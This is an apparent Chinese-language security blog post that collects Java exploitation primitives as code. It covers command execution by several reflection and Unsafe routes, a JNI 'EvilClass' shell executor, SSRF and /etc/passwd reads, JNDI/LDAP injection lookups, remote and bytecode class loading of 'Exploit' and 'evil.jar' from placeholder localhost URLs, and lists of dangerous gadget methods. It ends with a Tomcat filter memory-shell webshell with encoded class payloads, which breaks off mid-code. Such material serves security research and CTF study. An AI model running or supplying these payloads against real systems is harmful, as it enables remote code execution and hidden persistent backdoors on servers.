编辑
2024-12-09
WEB
0

目录

java
1.java基础
1.反射
1.首先需要实例化对象
1.1方法一、实例化对象的getClass()方法
1.2方法二、 使用类的 .class 方法
1.3方法三、Class.forName(String className):动态加载类
2.获取成员变量 Field
3.获取成员方法 Method
4.获取构造函数 Constructor
5. 反射创建对象
举例
Runtime命令执行
ProcessBuilder命令执行
ProcessImpl命令执行
forkAndExec命令执行-Unsafe+反射+Native方法调用
JShell执行任意代码
命令回显
常规
Scanner回显
一行代码命令回显
加载动态链接库
常用
loadLibrary0加载
NativeLibrary#load加载
SSRF
常见
绕过trick
文件写入
FileOutputStream写文件
RandomAccessFile写文件
FileSystemProvider写文件
文件读取
一行代码读取文件所有内容
FileInputStream读文件
RandomAccessFile读文件
FileSystemProvider读文件
URL类读文件(目录)
JNDI注入
恶意类加载
远程class加载
TemplateImpl加载字节码
spring ReflectUtils加载字节码
ClassLoader defineClass 加载字节码
Unsafe defineClass 加载字节码
Unsafe defineAnonymousClass 加载字节码
jdk17+ bypass module
Unsafe类
defineClass 加载字节码
defineAnonymousClass 加载字节码
allocateInstance不执行构造方法实例化对象
suid
查看sUID
修改sUID
有危害的方法
setter
getter
有危害的单String参数构造方法
静态方法
其他
内存马
tomcat高兼容性filter内存马

java

1.java基础

1.反射

1.首先需要实例化对象

1.1方法一、实例化对象的getClass()方法

java
TestReflection testReflection = new TestReflection(); Class class3 = testReflection.getClass();

1.2方法二、 使用类的 .class 方法

java
Class class2 = TestReflection.class;

1.3方法三、Class.forName(String className):动态加载类

java
Class class1 = Class.forName("reflection.TestReflection");

2.获取成员变量 Field

java
获取成员变量Field位于 `java.lang.reflect.Field` 包中 Field[] getFields() :获取所有 public 修饰的成员变量 Field[] getDeclaredFields() 获取所有的成员变量,不考虑修饰符 Field getField(String name) 获取指定名称的 public 修饰的成员变量 Field getDeclaredField(String name) 获取指定的成员变量

3.获取成员方法 Method

java
Method getMethod(String name, 类<?>... parameterTypes) //返回该类所声明的public方法 Method getDeclaredMethod(String name, 类<?>... parameterTypes) //返回该类所声明的所有方法 //第一个参数获取该方法的名字,第二个参数获取标识该方法的参数类型 Method[] getMethods() //获取所有的public方法,包括类自身声明的public方法,父类中的public方法、实现的接口方法 Method[] getDeclaredMethods() // 获取该类中的所有方法

4.获取构造函数 Constructor

java
Constructor<?>[] getConstructors() :只返回public构造函数 Constructor<?>[] getDeclaredConstructors() :返回所有构造函数 Constructor<> getConstructor(类<?>... parameterTypes) : 匹配和参数配型相符的public构造函数 Constructor<> getDeclaredConstructor(类<?>... parameterTypes) : 匹配和参数配型相符的构造函数

5. 反射创建对象

java
Class c = Class.forName("类的名称"); // 创建Class对象 Object m1 = c.newInstance(); // 创建类对象

举例

java
public class ReflectTest01 { public static void main(String[] args) throws Exception { Class<?> p = Class.forName("src.Person"); Object m = p.newInstance(); Method method = p.getDeclaredMethod("reflect"); method.setAccessible(true); method.invoke(m); } }
java
public class ReflectTest01 { public static void main(String[] args) throws Exception { Class<?> p = Class.forName("src.Person"); Object m = p.newInstance(); Method method = p.getDeclaredMethod("sleep", int.class); method.setAccessible(true); method.invoke(m,3); } }
php
public static void main(String[] args) throws Exception{ Person person = new Person(); Class<?> c = person.getClass(); Method m = c.getDeclaredMethod("sleep", int.class); m.setAccessible(true); m .invoke(m,3); }
java
public static void main(String[] args) throws Exception{ Person person = new Person(); // Class<?> c = person.getClass(); Method m = person.getClass().getDeclaredMethod("sleep", int.class); m.setAccessible(true); m .invoke(m,3); }

Runtime命令执行

java
Runtime.getRuntime().exec("calc");

ProcessBuilder命令执行

java
new ProcessBuilder("cmd", "/c calc").start();

ProcessImpl命令执行

java
String [] cmd={"cmd.exe","/c","calc"}; Class processimpl=Class.forName("java.lang.ProcessImpl"); java.lang.reflect.Method m1=processimpl.getDeclaredMethod("start", String[].class, java.util.Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class); m1.setAccessible(true); Process p=(Process) m1.invoke(processimpl,cmd,null,null,null,false);

forkAndExec命令执行-Unsafe+反射+Native方法调用

java
public byte[] toCString(String s) { if (s == null) return null; byte[] bytes = s.getBytes(); byte[] result = new byte[bytes.length + 1]; System.arraycopy(bytes, 0, result, 0, bytes.length); result[result.length - 1] = (byte) 0; return result; } public String exec(String strs) { Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe"); theUnsafeField.setAccessible(true); Unsafe unsafe = (Unsafe) theUnsafeField.get(null); Class processClass = null; try { processClass = Class.forName("java.lang.UNIXProcess"); } catch (ClassNotFoundException e) { processClass = Class.forName("java.lang.ProcessImpl"); } Object processObject = unsafe.allocateInstance(processClass); // Convert arguments to a contiguous block; it's easier to do // memory management in Java than in C. byte[][] args = new byte[strs.length - 1][]; int size = args.length; // For added NUL bytes for (int i = 0; i < args.length; i++) { args[i] = strs[i + 1].getBytes(); size += args[i].length; } byte[] argBlock = new byte[size]; int i = 0; for (byte[] arg : args) { System.arraycopy(arg, 0, argBlock, i, arg.length); i += arg.length + 1; // No need to write NUL bytes explicitly } int[] envc = new int[1]; int[] std_fds = new int[]{-1, -1, -1}; Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); Field helperpathField = processClass.getDeclaredField("helperpath"); launchMechanismField.setAccessible(true); helperpathField.setAccessible(true); Object launchMechanismObject = launchMechanismField.get(processObject); byte[] helperpathObject = (byte[]) helperpathField.get(processObject); int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{ int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class }); forkMethod.setAccessible(true);// 设置访问权限 int pid = (int) forkMethod.invoke(processObject, new Object[]{ ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length, null, envc[0], null, std_fds, false }); // 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流 Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); initStreamsMethod.setAccessible(true); initStreamsMethod.invoke(processObject, std_fds); // 获取本地执行结果的输入流 Method getInputStreamMethod = processClass.getMethod("getInputStream"); getInputStreamMethod.setAccessible(true); InputStream in = (InputStream) getInputStreamMethod.invoke(processObject); ByteArrayOutputStream baos = new ByteArrayOutputStream(); int a = 0; byte[] b = new byte[1024]; while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } return baos.toString(); }

JShell执行任意代码

jdk>8下

java
jdk.jshell.JShell.create().eval("Runtime.getRuntime().exec(\"calc\")");

命令回显

常规

java
Process process = Runtime.getRuntime().exec("cmd.exe /c "+"ipconfig"); InputStream in = process.getInputStream(); BufferedReader br = new BufferedReader(new InputStreamReader(in)); String line; StringBuilder sb = new StringBuilder(); while ((line = br.readLine()) != null) { sb.append(line).append("\n"); } String str = sb.toString(); System.out.println(str);

Scanner回显

java
String cmd = "whoami"; boolean isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win"); String[] cmds = isWin ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; System.out.println(output);

一行代码命令回显

回显第一行

java
System.out.println(new Scanner(Runtime.getRuntime().exec("whoami").getInputStream()).next()); System.out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine())

回显所有结果

java
System.out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).useDelimiter("\\A").next())

使用linux socket文件特性回显

java
java.lang.reflect.Constructor c = java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{int.class}); c.setAccessible(true); //一般50以内的文件描述符就能遍历到,从3开始,0为标准输入,1为标准输出,2为标准错误输出 for(int i=3;i<50;i++){ try { new java.io.FileOutputStream((java.io.FileDescriptor) c.newInstance(new Object[]{new Integer(i)})).write(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("cat /flag").getInputStream())).readLine().getBytes()); }catch (Exception e){} }

加载动态链接库

常用

java
System.load("/tmp/lib.so"); System.loadLibrary("tmp/lib.so");

loadLibrary0加载

java
ClassLoader loader = ClassLoader.getSystemClassLoader(); Class evilClass = Class.forName("evilClass"); File libPath = new File("/tmp/lib.so"); Method loadLibrary0Method = ClassLoader.class.getDeclaredMethod("loadLibrary0", Class.class, File.class); loadLibrary0Method.setAccessible(true); loadLibrary0Method.invoke(loader, evilClass, libPath);

NativeLibrary#load加载

准备 EvilClass.java

java
public class EvilClass { public static native String execCmd(String cmd); }

在当前目录运行

shell
javac EvilClass.java javah EvilClass

生成 EvilClass.h 文件如下

c
/* DO NOT EDIT THIS FILE - it is machine generated */ #include <jni.h> /* Header for class EvilClass */ #ifndef _Included_EvilClass #define _Included_EvilClass #ifdef __cplusplus extern "C" { #endif /* * Class: EvilClass * Method: execCmd * Signature: (Ljava/lang/String;)Ljava/lang/String; */ JNIEXPORT jstring JNICALL Java_EvilClass_execCmd (JNIEnv *, jclass, jstring); #ifdef __cplusplus } #endif #endif

根据EvilClass.h文件编写EvilClass.c文件

EvilClass.c

c
#include <string.h> #include <stdio.h> #include <sys/types.h> #include <unistd.h> #include <stdlib.h> #include "EvilClass.h" int execmd(const char *cmd, char *result) { char buffer[1024*12]; //定义缓冲区 FILE *pipe = popen(cmd, "r"); //打开管道,并执行命令 if (!pipe) return 0; //返回0表示运行失败 while (!feof(pipe)) { if (fgets(buffer, 128, pipe)) { //将管道输出到result中 strcat(result, buffer); } } pclose(pipe); //关闭管道 return 1; //返回1表示运行成功 } JNIEXPORT jstring JNICALL Java_EvilClass_execCmd(JNIEnv *env, jclass class_object, jstring jstr) { const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL); char result[1024 * 12] = ""; //定义存放结果的字符串数组 if (1 == execmd(cstr, result)) { // printf(result); } char return_messge[100] = ""; strcat(return_messge, result); jstring cmdresult = (*env)->NewStringUTF(env, return_messge); //system(); return cmdresult; }

编译生成对应动态链接库文件

shell
gcc -fPIC -I $JAVA_HOME/include -I $JAVA_HOME/include/linux -shared -o libcmd.so EvilClass.c //调用java.lang.ClassLoader$NativeLibrary类的load方法加载动态链接库 ...... public class EvilClass { public static native String execCmd(String cmd); } ...... ClassLoader cmdLoader = EvilClass.class.getClassLoader(); Class<?> classLoaderClazz = Class.forName("java.lang.ClassLoader"); Class<?> nativeLibraryClazz = Class.forName("java.lang.ClassLoader$NativeLibrary"); Method load = nativeLibraryClazz.getDeclaredMethod("load", String.class, boolean.class); load.setAccessible(true); Field field = classLoaderClazz.getDeclaredField("nativeLibraries"); field.setAccessible(true); Vector<Object> libs = (Vector<Object>) field.get(cmdLoader); Constructor<?> nativeLibraryCons = nativeLibraryClazz.getDeclaredConstructor(Class.class, String.class, boolean.class); nativeLibraryCons.setAccessible(true); Object nativeLibraryObj = nativeLibraryCons.newInstance(EvilClass.class, LIB_PATH, false); libs.addElement(nativeLibraryObj); //这里注意要将libs放入对应的ClassLoader中(跟着源码调下就能知道) field.set(cmdLoader, libs); load.invoke(nativeLibraryObj, LIB_PATH, false); //执行命令 EvilClass.execCmd("whoami"); ...... ......

SSRF

常见

java
new URL("http://127.0.0.1/").openStream(); new URL("file:///etc/passwd").openStream(); new JEditorPane().setPage("http://127.0.0.1/");

绕过trick

java
new URL("file:///etc/passwd").openStream(); //等价于 new URL("url:file:///etc/passwd").openStream();

文件写入

FileOutputStream写文件

java
FileOutputStream fos = new FileOutputStream("1.txt"); fos.write("test".getBytes()); fos.close();

RandomAccessFile写文件

java
RandomAccessFile randomAccessFile = new RandomAccessFile("test.txt", "rw"); randomAccessFile.write("test123".getBytes()); randomAccessFile.close();

FileSystemProvider写文件

java
java.nio.file.Files.write(java.nio.file.Paths.get("2.txt"), "test".getBytes());

文件读取

一行代码读取文件所有内容

java
System.out.println(new java.util.Scanner(new java.io.FileInputStream("test.txt")).useDelimiter("\\A").next());

FileInputStream读文件

java
FileInputStream fis = new FileInputStream("test.txt"); byte[] bs = new byte[fis.available()]; fis.read(bs); System.out.println(new String(bs)); fis.close(); //or FileInputStream fis = new FileInputStream("test.txt"); int a = 0; byte[] bytes = new byte[1024]; ByteArrayOutputStream out = new ByteArrayOutputStream(); while ((a = fis.read(bytes)) != -1) { out.write(bytes, 0, a); } System.out.println(out); fis.close();

RandomAccessFile读文件

java
RandomAccessFile randomAccessFile = new RandomAccessFile("test.txt", "rw"); byte[] res = new byte[(int) randomAccessFile.length()]; randomAccessFile.read(res); randomAccessFile.close(); System.out.println(new String(res));

FileSystemProvider读文件

java
byte[] res = java.nio.file.Files.readAllBytes(java.nio.file.Paths.get("test.txt")); System.out.println(new String(res));

URL类读文件(目录)

java
//形成SSRF,可读目录 String url = "file:///D:/"; InputStream input = new URL(url).openStream(); byte[] bs = new byte[input.available()]; input.read(bs); System.out.println(Arrays.toString(bs)); System.out.println(new String(bs));

JNDI注入

java
new javax.naming.InitialContext().lookup("ldap://127.0.0.1:1389/exp");

恶意类加载

远程class加载

java
URL[] urls = new URL[]{new URL("http://127.0.0.1/")}; URLClassLoader.newInstance(urls).loadClass("Exploit").newInstance();

TemplateImpl加载字节码

java
//弹计算器 byte[] code = Files.readAllBytes(Paths.get("E:\\web-project\\java\\Test.class")); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{code}); setFieldValue(obj, "_name", "a"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); obj.newTransformer();

spring ReflectUtils加载字节码

java
//恶意字节码 byte[] bytes = new byte[]{}; org.springframework.cglib.core.ReflectUtils.defineClass("EvilClass", bytes, ClassLoader.getSystemClassLoader());

ClassLoader defineClass 加载字节码

java
byte[] code = Files.readAllBytes(Paths.get("E:\\web-project\\java\\Test.class")); ClassLoader cl = Thread.currentThread().getContextClassLoader(); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); defineClass.setAccessible(true); Class c = (Class) defineClass.invoke(cl, "Test", code, 0, code.length); c.newInstance();

Unsafe defineClass 加载字节码

java
byte[] code = Files.readAllBytes(Paths.get("E:\\web-project\\java\\Test.class")); ClassLoader cl = Thread.currentThread().getContextClassLoader(); Class c = Unsafe.class; Field theUnsafeField = c.getDeclaredField("theUnsafe"); theUnsafeField.setAccessible(true); Unsafe unsafe = (Unsafe) theUnsafeField.get(null); Class c2 = (Class) unsafe.defineClass("Test", code, 0, code.length, cl, null); c2.newInstance();

Unsafe defineAnonymousClass 加载字节码

java
byte[] evilClassBytes = Files.readAllBytes(Paths.get("Evil.class")); Field f = Unsafe.class.getDeclaredField("theUnsafe"); f.setAccessible(true); Unsafe theUnsafe = (Unsafe) f.get(null); theUnsafe.defineAnonymousClass(Class.class, evilClassBytes, null).newInstance();

jdk17+ bypass module

java
public static void bypassModule(Class currentClass) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Class unsafeClass = Class.forName("sun.misc.Unsafe"); Field field = unsafeClass.getDeclaredField("theUnsafe"); field.setAccessible(true); Unsafe unsafe = (Unsafe) field.get(null); Module baseModule = Object.class.getModule(); long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module")); unsafe.putObject(currentClass, offset, baseModule); }

Unsafe类

defineClass 加载字节码

java
byte[] code = Files.readAllBytes(Paths.get("E:\\web-project\\java\\Test.class")); ClassLoader cl = Thread.currentThread().getContextClassLoader(); Class c = Unsafe.class; Field theUnsafeField = c.getDeclaredField("theUnsafe"); theUnsafeField.setAccessible(true); Unsafe unsafe = (Unsafe) theUnsafeField.get(null); Class c2 = (Class) unsafe.defineClass("Test", code, 0, code.length, cl, null); c2.newInstance();

defineAnonymousClass 加载字节码

java
byte[] evilClassBytes = Files.readAllBytes(Paths.get("Evil.class")); Field f = Unsafe.class.getDeclaredField("theUnsafe"); f.setAccessible(true); Unsafe theUnsafe = (Unsafe) f.get(null); theUnsafe.defineAnonymousClass(Class.class, evilClassBytes, null).newInstance();

allocateInstance不执行构造方法实例化对象

java
Field f = Unsafe.class.getDeclaredField("theUnsafe"); f.setAccessible(true); Unsafe theUnsafe = (Unsafe) f.get(null); Test test = (Test) theUnsafe.allocateInstance(Test.class);

suid

查看sUID

java
ObjectStreamClass osc1 = ObjectStreamClass.lookup(bsh.XThis.class); System.out.println(osc1.getSerialVersionUID());

修改sUID

java
TemplatesImpl obj = new TemplatesImpl(); java.lang.reflect.Field sUID = obj.getClass().getDeclaredField("serialVersionUID"); sUID.setAccessible(true); Field modifiersField = Field.class.getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(sUID, sUID.getModifiers() & ~Modifier.FINAL); sUID.set(obj, -3070939614679977597L); System.out.print(getFieldValue(obj, "serialVersionUID"));

有危害的方法

setter

java
JdbcRowSetImpl obj = new JdbcRowSetImpl(); obj.setDataSourceName("ldap://127.0.0.1:1389/exp"); obj.setAutoCommit(true); oracle.jdbc.rowset.OracleJDBCRowSet obj2 = new OracleJDBCRowSet(); obj2.setDataSourceName("ldap://127.0.0.1:1389/exp"); obj2.setCommand("123"); com.sun.management.jmx.TraceListener obj3 = new com.sun.management.jmx.TraceListener(); obj3.setFile("1.php::$INDEX_ALLOCATION"); new JEditorPane().setPage("http://127.0.0.1/"); new org.apache.batik.swing.JSVGCanvas().setURI("http://127.0.0.1/");

getter

java
java.net.URL url = new URL("http://127.0.0.1"); url.getContent(); com.sun.rowset.JdbcRowSetImpl obj = new JdbcRowSetImpl(); obj.setDataSourceName("ldap://127.0.0.1:1389/exp"); obj.getDatabaseMetaData(); Constructor<?> ctor = Class.forName("com.sun.jndi.ldap.LdapAttribute").getDeclaredConstructor(new Class<?>[]{String.class}); ctor.setAccessible(true); javax.naming.directory.Attribute obj2 = (Attribute) ctor.newInstance("id"); setFieldValue(obj2, "baseCtxURL", "ldap://127.0.0.1:1389"); setFieldValue(obj2, "rdn", new CompositeName("exp")); obj2.getAttributeDefinition(); FileInputStream inputFromFile = new FileInputStream("D:\\Downloads\\workspace\\test\\bin\\test\\TemplatesImplcmd.class"); byte[] bs = new byte[inputFromFile.available()]; inputFromFile.read(bs); TemplatesImpl obj3 = new TemplatesImpl(); setFieldValue(obj3, "_bytecodes", new byte[][]{bs}); setFieldValue(obj3, "_name", "TemplatesImpl"); setFieldValue(obj3, "_tfactory", new TransformerFactoryImpl()); obj3.getOutputProperties(); oracle.jdbc.rowset.OracleCachedRowSet obj4 = new OracleCachedRowSet(); obj4.setDataSourceName("ldap://127.0.0.1:1389/exp"); obj4.getConnection();

有危害的单String参数构造方法

java
org.springframework.context.support.ClassPathXmlApplicationContext obj = new ClassPathXmlApplicationContext("http://127.0.0.1"); org.springframework.context.support.FileSystemXmlApplicationContext obj2 = new FileSystemXmlApplicationContext("http://127.0.0.1");

静态方法

java
//jdk>8 jdk.jshell.JShell.create().eval("Runtime.getRuntime().exec(\"calc\")"); org.springframework.cglib.core.ReflectUtils.defineClass("EvilClass", bytes, java.lang.ClassLoader.getSystemClassLoader());

利用静态方法实例化对象,在一些模板注入中常用

java
java.beans.Beans.instantiate(null, "org.springframework.context.support.ClassPathXmlApplicationContext");

其forName方法只能加载到jdk内部中的类(获取的类加载器为null)

java
sun.reflect.misc.ReflectUtil.newInstance(sun.reflect.misc.ReflectUtil.forName("javax.script.ScriptEngineManager")); sun.reflect.misc.ReflectUtil.newInstance(sun.reflect.misc.ReflectUtil.forName("javax.naming.InitialContext"));

其他

java
new javax.swing.plaf.synth.SynthLookAndFeel().load(new URL("http://127.0.0.1:8080/evil.xml")); new javax.el.ELProcessor().eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"java.lang.Runtime.getRuntime().exec('calc');\")"); //MLet 继承自 URLClassloader MLet mLet = new MLet(); mLet.addURL("http://127.0.0.1:2333/evil.jar"); mLet.loadClass("Exploit").newInstance();

spring模板内置对象获取各种bean

none
springMacroRequestContext.webApplicationContext.getBean("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory");

jacksonBean实例化对象

java
applicationContext.getBean("jacksonObjectMapper").readValue("{}", clazz)

内存马

tomcat高兼容性filter内存马

java
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.*; import java.util.zip.GZIPInputStream; // ?cmd=calc public class TomcatFilterMemShell { public String getUrlPattern() { return "/*"; } public String getClassName() { return "CmdFilterShell"; } public String getBase64String() { return new String("H4sIAAAAAAAAAKVWa3MTZRR+Nrd3s9lCm14gtKWgUtJrFLBqCggWELTQ2iDYFsVtsm22JLshu+lFVLzffoH9Bf3ijMOMhqKjg86IM3xkhvGj/g4/gM9uSklqwA9+2PNeznuec85zzr67t+/98DOAA/hKwW68KONIGLtwVOAlgZEIAjgm47iCE3hZgYqTMk654ysCr8oYlXFaxhkZYwrG8ZorJhSkcFbgdQUtOCfjvDu+4YpJV0zJmI4giAsK3sRbrrgo8HYEGmYE0gIZAV1CoKDZtoTo6Ly2oCVymjmXSDlFw5wblhA6aJiGc1iCP95zjkdHrAwtto4apn6mlJ/Ri2e1mRx35Ix1wsg5elHCdNwDWkrYenEhpzuJVGWc0C+XdNsZfpTWLlimrW9WV1BHspphDrsRNKQcLX3ptFbwHHtZzArMCWQrHJIpAUNgnqQwVwnK8aW0XnAMggtcEsgxCzcnCV2bA133ZZmzxpznTGQYcNFaJkrKKhXTOk8w2eaRfKZyNpXVc7lBF0XFHnSTpnQ+o+JJPCVhTy141nEKiZMUtXRI6P6vcxViVORhMiTLHjS1PDO3VBRgqrgMku5fNDi1QbzGzWWU4LOzFANpmjO+QX2JSfgSpK6kYgGLKpawLPCOiit4V0KTB1ByjFwildZMUy+6yb1HkwtHVbyPqyo+wIcqPnIdszs/xicCn6r4DJ+r+MJloflhCBvss0IqevClhC219NVEPDYzr6eZREu9ykjoeFxnSeh8bGtJiD2ytxjzdL3+r2RiWIlTZqHkcFvX8tW7Yxv5SdhZ13vVAXVOd8a1IqvnJdMd/7fHnnpBVFd02XZ0RhBxoYpWQS867M6IY41ai0xFc7NsiddFkdOW6TBVvurt1Z6ZfzHlMmim9eGeqQf193QTJdMx8sRU6G9j0VrjYH2bHgJsLPZYPF6HymoLBp7WbXu4xtX6JtuDrmrY3vbAXW0ZaL49XlfhvrpqydaP6Tkjb3hc730019WNTkyR1ewz+pLjXXlkI2B6izCjOl+sgFUHNE6odUV1u1RtSwguuhOXtzpBMNbgbK7kvqFH/t/N2XOOn5RdfCQ8wUdyryF+awKc8W6i3MtVH3ycAZHe65B6o77v4b/GJatGuQV+SoUmYcoId3vQSwMaSr/wO9JA7V99NxFIBvpvIpgMxgK938F/AyEfkqFY6Ba+DQyJqFiDnJRj8i00x+QywlGljMgKQv4h0SpWsCv0E9RJf7QhNRmIbklNEiXq8zBSq+hcV251lY01ymR4DU2xcBnRMpqTyo9omYwp19EabStjWzISi5SxfQXeGFtFMLojqcaCN9DO914to2N9XkbnKhqTYhWRgb7+G+jyYxUNydCDxTXmuxO/4jdKFXdwl6PPY2cKbZQNCJEnFU2IIUpdCwlvpb4NSWzDIe5ewQ5eg+34Gh34Bp1Y8/B2E7ELv3O8zcLcIad3WZY/WJg/yXIfkS9CuU+AsEC/wIDAoEBC4GmBZwT2SXyA3ZMC+++5mv0CBwSe5Z/Dvvv0J+oagVZDgb8h+GUcCuM5OgkxmefxAkubxHCltAwZnLHGDzsh5DVJv2fiNpBrcHCjiWLeuToGCcpDHtrhfwDY1iAi6ggAAA=="); } //适配springboot3 public String getBase64String2() throws IOException { return new String("H4sIAAAAAAAAAKVWWXMUVRT+bjKZO5npkGQCgRHIAkI2yLBGmIBKwqphkWExAcXOpJPpMOkJ3T1Z3HdxQ8WN4FLlU16ssqjSQLS0KKrEKh4tLat8kd/hA/h1z2SYMZPEKh+6+957zv3OOd855/a9def7nwBswZd+FKFYwqOgBF6BikF1RA0nVGMgfLh3UIvZAt4duqHbDwoUNzad8MHHQWyorxR+BCQUBWVYJLCoc6hvr56wNTMa1xIJAc+walkCwa57gFHb1I2BdokKgYZB9axq2mrY0syRhGaH47Y9HN7PVzS9cFQ7l9IsWyIo0LiwsjWcNCwtgHIsVrAE1QLKgGYfUU11SKNTAmsbZ3vSNHvJh2UCMmm1Gtzox31YLrFCwUoHMYeb6Lhla0MCAceImRzWTHvcj1rUSdQrWIXV+douNrXtZFdyVDM7VUsTWNxY0P4a8juqGw5ag4JGNAn4YknDVnWDfC7PDaMzrppRhycjprU39fjQIlBkxX1Yz+/6mA9hxsJctWpjmg8buRiO+bEZWyS2KmjDAwKV99COpgxbH6JjfgaVnSzJ8zKz3O6gbFcQQTszTfQYk9R4an6GyVNMsyzu3YkHJR5S8DB25XmQ0WA10YMDxnDKJoymkuelM17oyXCOgLXUOYOQsvVEOBpTDUMz/ejAHqei9wosayy40ynl/WTk9C5H+REFj6KLRZOytN1aQh/S3aJpmLtocs21OxCHFBzGERIeV61D2pjt9kuPIzmqIOpUhMfgsg/HBRBAJU4qeBzdAqUM9qSZNpgb5xGaywho4BROSzyh4EmcEagqoCNQMuoMnJQV8PqEA6Eq6HW6vKQ/kbLiEn0zUK7qnrGYNmzrSSOAfgxIxBXoGGTN/bv90o3O6tMNFmdfMj0X2O0YzlfN7+b2ueXpBqafEjw9qgubJIedyT6GWN6lG9qh1FCvZh5TexOac9AkY2rihGrqzjyz6LHjOsupoiv/dGLRqv/f1VkKObQwDlofUU22mOhJD7elP9vJeYFOYVIo3LiB6StYrxk5m7iqQAFmpJvSJtoy0y1ZsPz8tqfViFW3EAtpTeLWL8hHWnWzwMp5mUmr0bWmWWpz/AMyW7YKNP+HLVlvyqK2Gjt7UB12i0HiHYGa+aOVuCBQu0CcEqMSH+T0YN5B5c+SbEl8lKt1OCuR+ITMz2Emq8WyPajZ8WRf9ifGSvY4v2ImY3b1ZihOGv36gFt9NfOr8KDqY8hmcpxOR5MpM6ZRzp6pyu+VVicA1MO5Jwic5SOcPz4vDx6OeGfge4izna6cJ1vzVYjmoPwOpVc4LYLB9yIUOyJuca4NCpKcKWl1DOMcv4JHjUktQhUdJ2wZ1263XEd5xLPuOiojJSFP87conUZVESLekPcmvvG0yeDSawhFfCHfTVSFfFOoCd4/hbUT8Ba3ySVyAnXeH1HbXRxsjnZ7guui3UQJShcjOomVGWGrI9yQJ4yUXsOmUOkUtk1hR8T/Azq6Q/6r2B3cN4UDkUAoMIWDE3C/j02iJHgsooRKpkHWQ8oUejLjKTw1iYqInERgfcu6aWjFmERZxDszuUJ2anADPyNGNn7F7/wWu3z1oJrvcpJbQUkVQlhMzWqmYSlvBMv43w2R8BV4hheT85Rc4mXha9ThGjVuYDURV+EXfm9hDXGbiNyAP7jzL7S43F9gRurxFSzYkFy/jBRXfMTbhxGMMkvnaWMM48zWJTTjaUoCtFCNZ6mn0Po0nuPIS1QfnscLHDFfmVw6oxfxkpvf23gZrzBOZ/QqXmN8XvyJ1/EGa0HBb7TzJrP9FuVn4L/LoEol/BJvS7wr0S9RLlEpUSv4APXdEu/dQSvfEu9LdOzi8l1e0mTBTeCumOdvyA5+S3GRRrx05UN8jE85Liuml6B/oGdOBV7CRLoCsdWtXK7dK2GvG06rS191WpgNVxDoMt8XM12Rxi8RLr7AZ9kmaXHnBXA35rSEyLbE567WF/8ATUBjw60LAAA="); } public TomcatFilterMemShell() { try { List<Object> contexts; try { contexts = this.getContext(); } catch (Exception e) { bypassModule(this.getClass()); contexts = this.getContext(); } Iterator var2 = contexts.iterator(); while(var2.hasNext()) { Object context = var2.next(); Object filter = this.getFilter(context); this.addFilter(context, filter); } } catch (Exception var5) { var5.printStackTrace(); } } public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { List<Object> contexts = new ArrayList(); Thread[] threads = (Thread[])((Thread[])invokeMethod(Thread.class, "getThreads")); Object context = null; try { Thread[] var4 = threads; int var5 = threads.length; for(int var6 = 0; var6 < var5; ++var6) { Thread thread = var4[var6]; if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) { HashMap childrenMap = (HashMap)getFV(getFV(getFV(thread, "target"), "this$0"), "children"); Iterator var9 = childrenMap.keySet().iterator(); while(var9.hasNext()) { Object key = var9.next(); HashMap children = (HashMap)getFV(childrenMap.get(key), "children"); Iterator var12 = children.keySet().iterator(); while(var12.hasNext()) { Object key1 = var12.next(); context = children.get(key1); if (context != null && context.getClass().getName().contains("StandardContext")) { contexts.add(context); } if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { contexts.add(context); } } } } else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context"); if (context != null && context.getClass().getName().contains("StandardContext")) { contexts.add(context); } if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { contexts.add(context); } } } return contexts; } catch (Exception var14) { throw new RuntimeException(var14); } } private Object getFilter(Object context) throws IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException, InstantiationException { Object filter = null; ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); if (classLoader == null) { classLoader = context.getClass().getClassLoader(); } try { filter = classLoader.loadClass(this.getClassName()); } catch (Exception var9) { try { byte[] clazzByte = gzipDecompress(decodeBase64(this.getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); 